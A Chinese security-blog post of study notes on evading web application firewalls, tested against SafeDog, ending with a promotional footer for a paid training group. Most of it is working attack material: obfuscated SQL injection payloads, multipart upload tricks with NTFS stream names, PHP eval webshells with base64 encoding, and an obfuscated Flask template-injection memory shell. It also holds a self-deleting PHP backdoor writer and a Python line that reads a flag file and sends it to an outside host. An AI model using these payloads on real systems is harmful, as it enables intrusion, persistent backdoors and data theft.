本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。
本文来自 【网络安全学习圈】圈内师傅的学习成果,已将其入圈费用返还,如果你也想一块学习,欢迎加入。圈内规划了数个月的学习内容,并提供相应的学习资源和建议,以及一个浓厚的学习氛围。(点我了解详情)
WAF功能介绍(入门扫盲篇) - 一觉醒来写程序 - 博客园[1]
• 规则引擎分为两块,对请求过滤和对响应过滤,而对请求过滤分为两大步,网络层过滤和应用层过滤。
• WAF每条规则都会配置动作,对命中规则的请求进行对应的处理。
本文以安全狗为例子进行简单学习
请求 → CDN → 云waf → 硬waf → WEB服务器 → 软waf → WEB应用程序(代码waf) → (数据库)
waf了解
各种语法
http协议
web服务器特性
没有在代码中进行过滤,如有会说明。
win 10
php 5.6.9
mysql 5.7.26
apache 2.4.39
safe dog V3.5
配置如下
特征
主打一个侧面绕过,利用各种缺陷和特性使得waf没有解析到payload,不与waf的规则和策略硬刚
Web服务器解析与waf解析不同绕过
• select → se%lect%
对于URL请求的参数值中的%,如果和后面的字符构成的字符串在URL编码表之外,ASP脚本处理时会将其忽略。
• unicode
IIS会自动解码unicode
/path1/path2/ == ;/path1;foo/path2;bar/;
传递多个相同参数,利用waf和web服务器解析的参数不同来进行绕过
Web 环境 | 参数获取函数 | 获取到的参数 |
PHP/Apache | $_GET("par") | last |
JSP/Tomcat | Request.getParameter("par") | first |
Perl(CGI)/Apache | Param("par") | first |
Python/Apache | getvalue("par") | ["first","last"] |
ASP.NET/IIS | Request.QueryString("par") | first,last |
Web应用程序层(后端代码)解析与waf解析不同
waf没有根据后端代码来修改策略和规则
对请求数据进行编码,例如url编码,Unicode编码等,如果waf对数据不能有效的解码,而应用后端能够正常解码,就可以绕过waf。
json数据支持unicode编码
web应用程序从多个地方取值,如
# php
$param = $_SERVER['xxxx']
可以从GET,POST,HEADER,METHOD
等地方获取用户提交的参数。
如果waf只对GET,POST
进行检测,没有与后端相适应,就可以绕过。
Burp插件:https://github.com/c0ny1/chunked-coding-converter
Transfer-Encoding: chunked # 表示BODY的传输编码方式为chunked(无Content-Length字段)3 # 指明传输的数据长度
a=1
0 # 表示传输结束
实验
$_REQUEST['id'] 失败
$_POST['id'] 成功
http长连接,发送多个数据包请求,感觉跟请求走私很像
Connection: Keep-Alive
需要关闭
推荐阅读
http://www.moonslow.com/article/tencent_waf_bypass
想办法让WAF以为我们是在上传文件,而实际上却是在POST一个参数,这个参数可以是命令注入、SQL注入、SSRF等任意的一种攻击,这样就实现了通用WAF Bypass
何时是上传文件?何时是POST参数呢?这个关键点在于有没有一个完整的,连续的**filename=**,中间可以插入
\r\n
或者\n
抓包,然后修改请求方法
content-type: charest=cp037
ibm869
ibm870
ibm871
ibm918
iso-2022-cn
iso-2022-jp
iso-2022-jp-2
iso-2022-kr
iso-8859-1
iso-8859-13
iso-8859-15
部署方式,策略与规则缺陷
通过改变用户域名的DNS解析地址来将Web流量牵引到云WAF引擎集群,经过检测后再回源至真正的Web服务器。
所以如果可以找到目标的真实ip,就可以绕过云waf。
用Burp的Trubo Intruder
插件,失败
而且高并发很可能会造成业务系统出现问题。
为了防止消耗太多的CPU、内存资源,因此许多WAF只检测前面的2M或4M的内容。所以可以通过填充垃圾数据进行绕过。
POST
id=1 union select 1,2,3%23
安全🐕在HTTP BODY
中检测到了关键字,直接返回500。。
POST
a=8172*A&id=-1 union select 1,2,3%23
waf
可能直接检测长度来拦截
如安全🐕,GET
下是不行的
• 文件白名单
一些 WAF 为了保证核心功能如登陆功能正常,会在内部设立一个文件白名单,或内容白名单,只要和这些文件或内容有关,无论怎么测试,都不会进行拦截。如:WAF 设立了白名单/admin
,那么我们的测试 payload 可以通过如下的手法来绕过
# 原来被拦截
http://a.a/?id=123 and 2*3=6
# 现在不拦截
http://a.a/?a=/admin&id=123 and 2*3=6
• IP白名单
后端通过Header字段获取源IP
X-FORWARDED-FOR等
• UA白名单
某些WAF可能为了不影响站点的SEO优化,将User-Agent为某些搜索引擎(如谷歌)的请求当作白名单处理,不检测和拦截。
User-Agent
UA收集:https://www.0735.pro/archives/study/51.html
一些 WAF 为了减少服务器的压力,会对静态文件如.png
、.css
等直接放行,那么我们可以尝试伪装成静态文件来绕过
# 原来被拦截
http://a.a/?id=123 and 2*3=6
# 现在不拦截
http://a.a/?1.jpg&id=123 and 2*3=6
1. 一些 WAF 对于get
请求和post
请求的处理机制不一样,可能对 POST 请求稍加松懈,因此给GET
请求变成POST
请求有可能绕过拦截。
2. 一些 WAF 检测到POST
请求后,就不会对GET
携带的参数进行过滤检测,因此导致被绕过。
fuzz大法,使用脚本去探测WAF设备对于字符处理是否有异常,一些WAF可能由于自身的解析问题,对于某些字符解析出错,造成全局的bypass
测试点
1):get请求处
2):header请求处
3):post urlencode内容处
4):post form-data内容处
基础内容
1)编码过的0-255字符
2)进行编码的0-255字符
3)utf gbk字符
增增改改混淆视听,使waf的规则和策略失效
基本方针:
1. 增删测试waf容忍度,确认关键点
2. 本地FUZZ PAYLOAD,先保证可以绕过检测
3. 再次进行构造使得后端能够进行解析
简单fuzz
可以发现不会对单一的关键字进行过滤,会对一些组合进行过滤
union select
绕过union (select)
UNiOn/*/1/*/select
UNiOn--+%02%0d%0aselect #注释换行
?id=-1 UNiOn/**/select 1,2,3#
?id=-1 UNiOn/*/1/*/select 1,2,3#
在/**/
中插入/x/
即可,x至少为一个字符
?id=-1 union/*/1/*/select 1,2,database()--+
?id=-1 union/*/1/*/select 1,2,database/**/()--+
FUZZ结果
select from
硬刚G
分块传输,脏数据等成功
请求的url
Boundary边界
MIME类型
文件后缀名
文件头
文件内容
访问流量
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9zWBDx6vAJHGTpAl------WebKitFormBoundary9zWBDx6vAJHGTpAl
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png
<?php
phpinfo();?>
------WebKitFormBoundary9zWBDx6vAJHGTpAl
Content-Disposition: form-data; name="submit"
submit
------WebKitFormBoundary9zWBDx6vAJHGTpAl--
boundary=----WebKitFormBoundary9zWBDx6vAJHGTpAl 定义了BODY中的分界线(因为是谷歌浏览器,所以分界线为----WebKitFormBoundary加上随机字符串)--boundary
--boundary # 每两个分界线之间是具体的内容:文件上传,post参数
--boundary-- # 结束标志
• 不允许php后缀上传
• 上传时,不检查文件内容
• 访问时,不允许访问含有恶意内容的php文件
Content-Type: multipart/form-data; boundary=a增加多个boundary
php:可以在boundary前后添加任意字符
大小写
boundary=boundary=a
Content-Disposition: form-data; name="upload_file"; filename="shell.php"操作:
大小写
Content-Disposition 任意位置换行,空格,脏数据溢出,多个Content-Disposition,form-data(删除,改为*)
多个filename,多个;
文件名单双引号数量
content-type(增删,设置charset)
多个BODY
多个boundary
交换name和filename的顺序
排列组合
Accept-Encoding:
Accept-Encoding: gzip
Accept-Encoding: compress
Accept-Encoding: deflate
Accept-Encoding: br
Accept-Encoding: identity
Accept-Encoding: *
Windows
• NTFS 流文件流 (本地文件系统) - Win32 apps | Microsoft Learn[2]fuzz可以的::$DATA
::$INDEX_ALLOCATION
• 文件名 windows文件名的保留字符(不允许出现)文件名尾加任意个. 或者任意个空格(对文件名无影响)
\/:*?" <>|
可以尝试在文件名后加上这些字符当filename=shell.php:.jpg
结果:
可以上传shell.php,但是会吃掉文件内容。。。
其他的要不不可以,可以的话,上传的文件名为.jpg
• 文件名长度截断超长文件名windows文件名:长度限制完全限定文件名必须少于260个字符,目录名必须小于248个字符linux文件名:linux中文件名最长为255字符,文件路径最大长度为4096字符如果后端脚本没有限制上传文件名长度,可以通过多次测试,上传名为aaaaa…(200+).php.jpg,把最后的.jpg挤出去。
部分成功的,好绕
waf是解析最后一个参数,最后一个;后面的,但是如果最后一个;后面没有参数,
后端就取前一个,waf识别到空
filename=shell.php;
filename='shell.php'; # 双引号不行
Content-Disposition: form-data; name="upload_file";filename=shell.php除了shell.php处,其他地方加换行,或脏数据都可
删除content-type
增加boundary
安全🐕+代码白名单(后缀只允许图片)
上面任意一个绕过(除了;绕过)+
filename=shell.php::$DATA.jpg
安全🐕的内容检测随便改一下就过了。
<?php
class test
{
function __construct($cmd){
@eval($cmd);
}
}
$cmd=$_POST['a'];
// $cmd = base64_decode($_POST[1]);
$foo = new test($cmd);
?>
测试时
system("xxx") #命令执行限制
对流量进行一个base64
加密即可
webshell
<?php
class test
{
function __construct($cmd){
@eval($cmd);
}
}
$cmd=$_POST['a'];
$cmd = base64_decode($_POST[1]);
$foo = new test($cmd);
?>
蚁剑
编码器
data[pwd] = Buffer.from(data['_']).toString('base64');
选择编码器
• waf检测
内容、创建日期、文件大小、通信流量特征
对于静态引擎的绕过,可以通过拆分关键词、
加入能够引发解析干扰的畸形字符等;而对于动态引擎,需要分析它跟踪了哪些输入
点,又是如何跟踪变量的,最终是在哪些函数的哪些参数命中了恶意样本规则
另类的入口
各种混淆(编码加密,进制转换,反序列化...)
符号干扰,绕过正则,拼接null,\n,\r,\t等
信息差绕过(加入外部因素后才是webshel,量子WEBshell😋)比如截取文件名,目录名,传入随机数种子等
• 传统webshell
学习:
WebShell通用免杀的思考 - 腾讯云开发者社区-腾讯云[3]
https://github.com/LandGrey/webshell-detect-bypass/blob/master/docs/php-webshell-detect-bypass/php-webshell-detect-bypass.md
https://longlone.top/%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/webshell%E5%85%8D%E6%9D%80%E6%80%BB%E7%BB%93/
收集:
https://github.com/tennc/webshell
• 无文件落地--内存马
python
https://xz.aliyun.com/t/10933#toc-4
通过注册路由处理来实现注入
# flask 1.x 是可以的
?name={{get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("__builtins__")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0065\u0076\u0061\u006c")("app.add_ur"+"l_rule('/khaz', 'khaz', la"+"mbda :__imp"+"ort__('o"+"s').po"+"pen(_request_c"+"tx_stack.to"+"p.re"+"quest.args.get('cmd')).re"+"ad())",{'\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b"),'app':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u005f\u0061\u0070\u0070")})}}
/khaz?cmd=whoami
# 僵尸进程 记得编码
system("python3 -c \"while 1:exec(\\\"flag=__import__('os').popen('cat /flag').read()[:-1];print(flag);io=__import__('requests').get('https://ctf.bugku.com/pvp/submit.html?token=67c0d48c49a89cc434b2f95da944e759&flag='+flag);print(io.content);__import__('time').sleep(600);\\\");\" & ");
僵尸进程 : 子进程先于父进程退出,父进程又没有处理子进程的退出状态,此时子进程就会称为僵尸进程。
父进程通过sleep(600)
保证子进程优先于父进程退出
(77条消息) python僵尸进程的产生和僵尸进程自动处理_pipe导致僵尸进程_Jimmy-TONG的博客-CSDN博客[4]
php
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while (1) {
$content = '<?php @eval($_POST["123"]) ?>';
file_put_contents("snert.php", $content);
usleep(10000);
}
?>
通过内存马启动后删除文件本身之前,使代码在内存中执行死循环,使管理员无法删除内存马,达到权限维持的目的。
弱特征:HTTP Header
request和response内容
参考之前HW看的文章
• 哥斯拉【原创】哥斯拉Godzilla加密流量分析 - FreeBuf网络安全行业门户[5]
• 冰蝎利用动态二进制加密实现新型一句话木马之Java篇 - 先知社区[6]冰蝎V4.0流量分析到攻防检测 - SecPulse.COM | 安全脉搏[7]冰蝎4.0自定义加密 - 先知社区[8]
• 蚁剑https://www.yuque.com/antswordproject/antsword/yuakxl
https://xz.aliyun.com/t/368
https://xz.aliyun.com/t/10515
[Bypass WAF Cookbook - MayIKissYou](https://wooyun.js.org/drops/Bypass WAF Cookbook.html)
https://www.anquanke.com/post/id/203880
玄武盾的几种绕过姿势 - 先知社区[9]
[1]
WAF功能介绍(入门扫盲篇) - 一觉醒来写程序 - 博客园: https://www.cnblogs.com/realjimmy/p/12937247.html[2]
文件流 (本地文件系统) - Win32 apps | Microsoft Learn: https://learn.microsoft.com/zh-cn/windows/win32/fileio/file-streams[3]
WebShell通用免杀的思考 - 腾讯云开发者社区-腾讯云: https://cloud.tencent.com/developer/article/1625439[4]
(77条消息) python僵尸进程的产生和僵尸进程自动处理_pipe导致僵尸进程_Jimmy-TONG的博客-CSDN博客: https://blog.csdn.net/Freshduke/article/details/111544319[5]
【原创】哥斯拉Godzilla加密流量分析 - FreeBuf网络安全行业门户: https://www.freebuf.com/sectool/285693.html[6]
利用动态二进制加密实现新型一句话木马之Java篇 - 先知社区: https://xz.aliyun.com/t/2744[7]
冰蝎V4.0流量分析到攻防检测 - SecPulse.COM | 安全脉搏: https://www.secpulse.com/archives/195173.html[8]
冰蝎4.0自定义加密 - 先知社区: https://xz.aliyun.com/t/12453[9]
玄武盾的几种绕过姿势 - 先知社区: https://xz.aliyun.com/t/11607#toc-1
致力于红蓝对抗,实战攻防,星球不定时更新内外网攻防渗透技巧,以及最新学习研究成果等。常态化更新最新安全动态。专题更新奇技淫巧小Tips及实战案例。
涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全。星球中已发布 300+ 安全资源,针对网络安全成员的普遍水平,并为星友提供了教程、工具、POC&EXP以及各种学习笔记等等。
关注公众号回复“加群”,添加Z2OBot好友,自动拉你加入Z2O安全攻防交流群(微信群)分享更多好东西。(QQ群可直接扫码添加)
关注福利:
回复“app" 获取 app渗透和app抓包教程
回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。
回复“书籍" 获取 网络安全相关经典书籍电子版pdf
回复“资料" 获取 网络安全、渗透测试相关资料文档
点个【 在看 】,你最好看